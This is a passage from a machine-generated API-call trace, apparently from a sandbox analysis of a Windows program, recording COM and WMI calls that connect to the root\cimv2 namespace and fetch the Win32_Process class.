| out: puCount=0x1bb7e510*=0x2) returned 0x0 [0131.553] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf460, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0131.553] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf460, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0131.554] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0131.554] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0131.554] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0131.554] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.555] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bbbec40) returned 0x0 [0131.555] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbec40, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0131.555] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bbbec40, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bbbec60) returned 0x0 [0131.555] WbemLocator:IUnknown:Release (This=0x1bbbec40) returned 0x0 [0131.555] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbec60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bbbec60) returned 0x0 [0131.555] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbec60, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0131.556] WbemLocator:IUnknown:AddRef (This=0x1bbbec60) returned 0x3 [0131.556] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbec60, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0131.556] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbec60, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0131.556] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbec60, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0131.556] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0131.556] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0131.556] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbec60, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0131.556] WbemLocator:IUnknown:Release (This=0x1bbbec60) returned 0x2 [0131.556] WbemLocator:IUnknown:Release (This=0x1bbbec60) returned 0x1 [0131.556] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0131.556] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0131.556] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbec60, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bbbec60) returned 0x0 [0131.556] WbemLocator:IUnknown:AddRef (This=0x1bbbec60) returned 0x3 [0131.556] WbemLocator:IUnknown:Release (This=0x1bbbec60) returned 0x2 [0131.556] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf460, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0131.556] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf460, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0131.556] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf460, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0131.556] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bbbec80) returned 0x0 [0131.557] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bbbec80, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bbd9050) returned 0x0 [0131.653] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9050, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1aa03220) returned 0x0 [0131.653] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa03220, pProxy=0x1bbd9050, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0131.653] WbemLocator:IUnknown:Release (This=0x1aa03220) returned 0x1 [0131.653] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9050, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1aa03260) returned 0x0 [0131.653] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9050, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1aa03220) returned 0x0 [0131.654] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa03220, pProxy=0x1bbd9050, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0131.654] WbemLocator:IUnknown:Release (This=0x1aa03220) returned 0x2 [0131.654] WbemLocator:IUnknown:Release (This=0x1aa03260) returned 0x1 [0131.654] CoTaskMemFree (pv=0x1bbc6080) [0131.654] WbemLocator:IUnknown:AddRef (This=0x1bbd9050) returned 0x2 [0131.654] WbemLocator:IUnknown:Release (This=0x1bbbec80) returned 0x0 [0131.654] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0131.655] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0131.655] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9050, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1aa03230) returned 0x0 [0131.655] WbemLocator:IRpcOptions:Query (in: This=0x1aa03230, pPrx=0x1bbd8020, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0131.655] WbemLocator:IUnknown:Release (This=0x1aa03230) returned 0x2 [0131.655] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0131.655] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0131.655] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9050, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bbd9050) returned 0x0 [0131.655] WbemLocator:IUnknown:Release (This=0x1bbd9050) returned 0x2 [0131.655] SysStringLen (param_1=0x0) returned 0x0 [0131.655] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf460, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0131.655] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf460, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0131.655] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf460, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0131.655] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf160, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0131.655] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf160, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0131.656] IWbemServices:GetObject (in: This=0x1bbd9050, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bbd3630, ppCallResult=0x0) returned 0x0 [0131.659] IWbemClassObject:Get (in: This=0x1bbd3630, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0131.660] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0131.660] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0131.660] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0131.660] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0131.660] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0131.660] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.662] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bbbec80) returned 0x0 [0131.662] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbec80, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0131.662] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbec80, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bbbf520) returned 0x0 [0131.662] WbemDefPath:IUnknown:Release (This=0x1bbbec80) returned 0x0 [0131.662] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf520, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bbbf520) returned 0x0 [0131.662] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf520, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0131.663] WbemDefPath:IUnknown:AddRef (This=0x1bbbf520) returned 0x3 [0131.663] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf520, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0131.663] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf520, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0131.663] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf520, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bbd8000) returned 0x0 [0131.663] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8000, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0131.663] WbemDefPath:IUnknown:Release (This=0x1bbd8000) returned 0x3 [0131.663] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0131.663] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0131.663] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf520, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0131.663] WbemDefPath:IUnknown:Release (This=0x1bbbf520) returned 0x2 [0131.663] WbemDefPath:IUnknown:Release (This=0x1bbbf520) returned 0x1 [0131.663] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0131.663] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0131.664] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf520, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bbbf520) returned 0x0 [0131.664] WbemDefPath:IUnknown:AddRef (This=0x1bbbf520) returned 0x3 [0131.664] WbemDefPath:IUnknown:Release (This=0x1bbbf520) returned 0x2 [0131.664] WbemDefPath:IWbemPath:SetText (This=0x1bbbf520, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0131.664] IWbemClassObject:Get (in: This=0x1bbd3630, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0131.664] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0131.664] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0131.664] IWbemClassObject:Get (in: This=0x1bbd3630, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0131.664] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0131.664] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0131.665] IWbemClassObject:Get (in: This=0x1bbd3630, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0131.665] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0131.665] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0131.665] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0131.665] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0131.665] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0131.665] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.667] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbd8180) returned 0x0 [0131.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8180, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0131.667] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8180, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbbf5e0) returned 0x0 [0131.667] WbemDefPath:IUnknown:Release (This=0x1bbd8180) returned 0x0 [0131.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf5e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbbf5e0) returned 0x0 [0131.667] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf5e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0131.668] WbemDefPath:IUnknown:AddRef (This=0x1bbbf5e0) returned 0x3 [0131.668] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf5e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0131.668] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf5e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0131.668] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf5e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbd81c0) returned 0x0 [0131.668] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd81c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0131.668] WbemDefPath:IUnknown:Release (This=0x1bbd81c0) returned 0x3 [0131.668] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0131.668] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0131.668] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf5e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), 